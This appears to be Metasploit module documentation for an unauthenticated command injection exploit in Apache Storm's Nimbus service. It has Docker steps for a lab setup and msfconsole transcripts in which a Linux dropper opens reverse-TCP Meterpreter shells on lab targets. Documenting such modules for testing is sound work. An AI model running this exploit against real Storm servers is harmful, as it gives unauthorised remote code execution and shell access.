## Vulnerable Application

This module exploits an unauthenticated command injection vulnerability within the Nimbus service
component of Apache Storm. The `getTopologyHistory()` RPC method method takes a single argument
which is the name of a user which is concatenated into a string that is executed by bash. In
order for the vulnerability to be exploitable, there must have been at least one topology
submitted to the server. The topology may be active or inactive, but at least one must be present.
Successful exploitation results in remote code execution as the user running Apache Storm.

This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0
which is affected.

## Verification Steps

1. Setup a minimal Storm cluster using the published docker images. The following steps were adapted from [Docker
  reference][1].
  * The following steps can be executed to start up a minimal Storm cluster, but requires the [Storm Starter][2] jar
    to exist in the current directory as `topology.jar`. Follow the steps on the [projects page][3] to build it with
    Maven. Storm Starter v2.4.0 was used for testing.

```
# 1. Start a ZooKeeper server:
docker run -d --rm --name some-zookeeper zookeeper
# 2. Start a Nimbus server:
docker run -p 6627:6627 -d --rm --name some-nimbus --link some-zookeeper:zookeeper \
  storm:2.2.0 storm nimbus
# 3. Start a Supervisor server:
docker run -d --rm --name supervisor1 --link some-zookeeper:zookeeper --link some-nimbus:nimbus \
  storm:2.2.0 storm supervisor
# 4. Submit a topology using Storm Starter:
docker run --rm --link some-nimbus:nimbus -it -v $(pwd)/topology.jar:/topology.jar \
  storm:2.2.0 storm jar /topology.jar \
  org.apache.storm.starter.ExclamationTopology exclamation
```
2. Start `msfconsole`
3. Do: `use exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec`
4. Set the module options
5. Do: `exploit`
6. You should get a shell

## Options

## Scenarios

### Debian 11.1 x64, Apache Storm v2.2.4 (From Docker)

```
msf > use exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set LHOST docker0
LHOST => docker0
msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set LPORT 6677
LPORT => 6677
msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > show options

Module options (exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   127.0.0.1        yes       The target host(s), see https://github.com/rapid7/
                                       metasploit-framework/wiki/Using-Metasploit
   RPORT    6627             yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on.
                                       This must be an address on the local machine or 0.
                                       0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is rando
                                       mly generated)
   URIPATH                   no        The URI to use for this exploit (default is random
                                       )


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  docker0          yes       The listen address (an interface may be specified)
   LPORT  6677             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > check
[*] 127.0.0.1:6627 - The target appears to be vulnerable. Successfully tested command injection.
msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > exploit

[*] Started reverse TCP handler on 172.18.0.1:6677
[*] 127.0.0.1:6627 - Running automatic check ("set AutoCheck false" to disable)
[+] 127.0.0.1:6627 - The target appears to be vulnerable. Successfully tested command injection.
[*] 127.0.0.1:6627 - Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Sending stage (3012548 bytes) to 172.18.0.3
[*] 127.0.0.1:6627 - Command Stager progress - 100.00% done (823/823 bytes)
[*] Meterpreter session 1 opened (172.18.0.1:6677 -> 172.18.0.3:49872 ) at 2021-11-18 16:59:00 -0600

meterpreter > sysinfo
Computer     : 172.18.0.3
OS           : Debian 11.1 (Linux 5.11.0-40-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: storm
meterpreter >
```

### Debian 11.1 x64, Apache Storm v2.2.0 (From Docker)

```
msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set TARGET  1
TARGET => 1
msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set PAYLOAD  linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > check
[*] 192.168.159.31:6627 - The target appears to be vulnerable. Successfully tested command injection.
msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] 192.168.159.31:6627 - Running automatic check ("set AutoCheck false" to disable)
[+] 192.168.159.31:6627 - The target appears to be vulnerable. Successfully tested command injection.
[*] 192.168.159.31:6627 - Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Sending stage (3012548 bytes) to 192.168.159.31
[*] 192.168.159.31:6627 - Command Stager progress - 100.00% done (823/823 bytes)
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.31:51680 ) at 2021-11-12 14:45:37 -0500

meterpreter > getuid
Server username: storm
meterpreter > sysinfo
Computer     : 172.17.0.3
OS           : Debian 11.1 (Linux 5.4.0-89-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```

[1]: https://hub.docker.com/_/storm
[2]: https://github.com/apache/storm/tree/master/examples/storm-starter
[3]: https://github.com/apache/storm/tree/master/examples/storm-starter#build-and-install-storm-jars-locally
